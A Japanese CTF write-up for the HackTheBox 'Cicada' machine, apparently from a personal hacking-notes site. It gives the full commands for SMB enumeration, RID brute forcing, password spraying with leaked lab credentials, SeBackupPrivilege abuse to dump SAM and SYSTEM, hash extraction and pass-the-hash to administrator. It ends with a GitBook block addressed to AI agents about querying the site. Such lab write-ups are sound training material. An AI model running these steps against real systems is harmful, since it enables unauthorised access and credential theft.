> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md). # Cicada HackTheBox攻略記事 SMB列挙（RIDブルートフォース）、情報漏えい（ユーザー説明）（netexec）、権限昇格（SeBackupPrivilege）、SAM抽出（pypykat {% embed url="" %} {% hint style="warning" %} **スキル:** * SMB列挙（RIDブルートフォース） * 情報漏えい（ユーザー説明）（netexec） * 権限昇格（SeBackupPrivilege） * SAM抽出（pypykatz） * Pass-the-Hash（EvilWinRM） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.35 -oG allPorts ```

**extractPorts による開いているポートの分析:** extractPorts 関数を使って、開いているポートを簡潔な形式で表示し、クリップボードにコピーします（53,88,135,139.389,445,464,593,636,3268,3269,5985,5169）

Nmapによるポートバージョンスキャン： Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します: ```bash nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,55169 10.10.11.35 -oN targeted ```

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

### ポート 445 - SMB **smbmap による SMB 列挙** ヌルセッションで共有リソースを列挙するには： ```bash smbmap -H 10.10.11.35 -u 'null' ```

その **HR** フォルダには興味深いテキストファイルが含まれています。中身を調べます： ```bash smbmap -H 10.10.11.35 -u 'null' -r HR ```

**ファイルをダウンロード** 共有にアクセスしてファイルをダウンロードします： ```bash smbclient //10.10.11.35/HR -N get "Notice from HR.txt" ```

そのファイルにはパスワードが含まれています * パスワード: `Cicada$M6Corpb*@Lp#nZp!8`

## RIDブルートフォースの一覧 #### ドメインのユーザーを特定するために、RIDブルートフォース攻撃を実行します： ```bash crackmapexec smb 10.10.11.35 -u 'Guest' -p "" --rid-brute ``` > その `--rid-brute` パラメータは / を実行するために使用されます*/* 総当たり攻撃/*/* 上で **RID（関連識別子）** Windowsドメイン内のユーザー。RIDはWindowsシステムにおけるユーザーの一意な識別子の一部で、通常はユーザーアカウントやグループを識別するために使用されます

見つかったユーザー一覧はこちらです： ``` Administrator Guest krbtgt CICADA-DC$ john.smoulder sarah.dantelia michael.wrightson david.orelious emily.oscars ``` #### ユーザー検証見つかったパスワードをすべてのユーザーで試します： ```bash crackmapexec smb 10.10.11.35 -u users.txt -p 'Cicada$M6Corpb*@Lp#nZp!8' ``` ユーザー **michael.wrightson** このパスワードを使用します。

### ユーザー Michael： ### netexec による列挙次を使用します **michael.wrightson** さらに調査するための認証情報： ```bash netexec smb 10.10.11.35 -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' --users ```

これにより、ユーザーの平文パスワードが明らかになります **david.orelious**: * ユーザー名: `david.orelious` * パスワード: `aRt$Lp#7t*VQ!3` /*// の認証情報を使った検証と SMB 列挙* **david.orelious** ### ユーザー David への切り替え CrackMapExec で david.orelious の ID を検証します： ```bash crackmapexec smb 10.10.11.35 -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' ```

次に、smbmap を使って対象でアクセス可能な SMB 共有を調べます： ```bash smbmap -H 10.10.11.35 -u david.orelious ```

その後、smbclient で DEV 共有に接続します： ```bash smbclient //10.10.11.35/DEV -U david.orelious ``` この共有には backup/ script.ps1 という名前のスクリプトがあります。

### ユーザー Emily への切り替え get コマンドで backup/ script.ps1 をダウンロードすると、ユーザー ID emily.oscars を見つけます * ユーザー名: emily.oscars * パスワード: Q!3\@Lp#M6b/\*7t/\*Vt

これらの認証情報を CrackMapExec で検証します： ```bash crackmapexec smb 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ``` 次に、Evil-WinRM でマシンに接続します： ```bash evil-winrm -i 10.10.11.35 -u 'emily.oscars' -p 'Q!3@Lp#M6b*7t*Vt' ```

### user.txtフラグ user.txt ファイルからフラグを取得します。

## 権限昇格 ### whoami /priv - SeBackupPrivilege {% embed url="" %} **権限チェック** まず、現在のユーザーの権限を確認しましょう。以下のコマンドを実行して、ユーザーが `SeBackupPrivilege` 権限を持っているか確認します： ```bash whoami /priv ```

**必要な DLL ファイルをダウンロード** これらの権限を悪用するには、DLL ファイルを被害マシンにダウンロードします。入手先は [こちら](https://github.com/giuliano108/SeBackupPrivilege). 1. **SeBackupPrivilegeCmdLets.dll** {% embed url="" %} 2. **SeBackupPrivilegeUtils.dll** {% embed url="" %} 以下のコマンドを使って、これらのファイルを被害者のマシンにアップロードします ```powershell upload SeBackupPrivilegeCmdLets.dll upload SeBackupPrivilegeUtils.dll ```

**DLL モジュールの読み込み** DLL ファイルをダウンロードしたら、次のコマンドで PowerShell セッションに読み込みます： ```powershell Import-Module ./SeBackupPrivilegeCmdLets.dll Import-Module ./SeBackupPrivilegeUtils.dll ``` **SAM と SYSTEM ファイルのバックアップ** これから `SAM` および `SYSTEM` ユーザー認証情報を含むファイルを保存します。保存には次のコマンドを使います： ```powershell reg save hklm/sam sam reg save hklm/system system ```

**SAM と SYSTEM ファイルをダウンロード** ファイルを保存したら、スキャンするために仮想マシン（VM）へダウンロードできます： ```powershell download sam download system ```

### **SAM ファイルからハッシュを抽出** 使用する `samdump2` からハッシュを抽出するために `SAM` および `SYSTEM` ファイル： ```bash samdump2 system sam ```

このコマンドが動作しない場合は、 `pypykatz` を使って直接ハッシュを抽出してみてください： ```bash pypykatz registry system --sam sam ```

これで有効なハッシュが得られるはずです。たとえば： * ハッシュ： `2b87e7c93a3e8a0ea4a581937016f341` ### **Evil-WinRM による Pass-the-Hash** ハッシュが手に入ったので、それを使って「Pass-the-Hash」を実行し、対象マシンに接続できます `evil-winrm`: ```bash evil-winrm -i 10.10.11.35 -u administrator -H 2b87e7c93a3e8a0ea4a581937016f341 ```

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/cicada-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.